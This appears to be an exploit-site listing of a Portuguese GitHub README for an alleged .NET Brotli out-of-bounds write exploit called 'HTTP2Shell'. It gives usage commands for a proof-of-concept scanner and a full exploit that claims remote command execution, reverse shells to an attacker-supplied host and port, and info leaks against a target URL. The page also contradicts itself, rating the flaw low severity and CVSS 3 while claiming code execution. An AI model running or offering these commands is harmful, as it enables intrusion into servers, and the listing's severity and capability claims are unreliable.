Low Severity CVE-2026-111497
Published: Nov 20, 2026

[GitHub] DotNet-HTTP2Shell-CVE-2026-111497

Other
Type
N/A
CVSS Score
3
Views
Anonymous
Author

Description

CVE-2026-111497 - .NET Brotli OOB Write PoC and Exploit (HTTP2Shell) | By Gh0st-Bx1

# DotNet-HTTP2Shell / CVE-2026-111497

**By Gh0st-Bx1 | [github.com/Ghost-Bx1](https://github.com/Ghost-Bx1)**

![By Gh0st-Bx1](https://img.shields.io/badge/By-Gh0st--Bx1-black?style=flat-square&logo=github)

---

Brotli OOB Write em .NET BrotliDecoder / BrotliStream (`System.IO.Compression`). O decompressor escreve além do buffer de saída quando `MLEN` excede a capacidade do `Span<byte>` fornecido pelo chamador, sem verificação de bounds.

Também conhecido como: **HTTP2Shell** / **Broccoli2Shell** / **Node2Shell**

## Versões afetadas

| Runtime | Versão vulnerável | Patch |
|---------|-------------------|-------|
| .NET 8 | 8.0.0 – 8.0.32 | 8.0.33 |
| .NET 9 | 9.0.0 – 9.0.21 | 9.0.22 |
| .NET 10 | 10.0.0 – 10.0.13 | 10.0.14 |
| .NET 11 | RC3 e anteriores | RC4+ |

## Arquivos

| Arquivo | Descrição |
|---------|-----------|
| `poc.py` | Prova de conceito - fingerprint de versão, crash probe e fuzzing dos 3 variantes de payload |
| `exploit.py` | Exploit completo - heap spray → OOB write → JIT overwrite → RCE / reverse shell |

## Uso - PoC

```bash
# Verificar versao do .NET no alvo
python poc.py -u https://target.com --check-version

# Probe com variante 1 (MLEN overflow)
python poc.py -u https://target.com --probe --variant 1

# Fuzz com todos os 3 variantes
python poc.py -u https://target.com --fuzz

# Scan completo (fingerprint + fuzz + relatorio)
python poc.py -u https://target.com --scan
```

## Uso - Exploit

```bash
# Executar comando (Linux)
python exploit.py -u https://target.com --rce --cmd "id"

# Reverse shell (Linux)
python exploit.py -u https://target.com --reverse-shell --lhost 10.0.0.1 --lport 4444

# Info leak / OOB read
python exploit.py -u https://target.com --info-leak

# Windows + path customizado + mais heap spray
python exploit.py -u https://target.com --rce --cmd "whoami" \
--path /api/upload --platform windows --spray 128

# Com proxy
python exploit.py -u https://target.com --reverse-shell \
--lhost 0.0.0.0 --lport 9001 --proxy

Community Rating
0

Login to rate this exploit

Quick Actions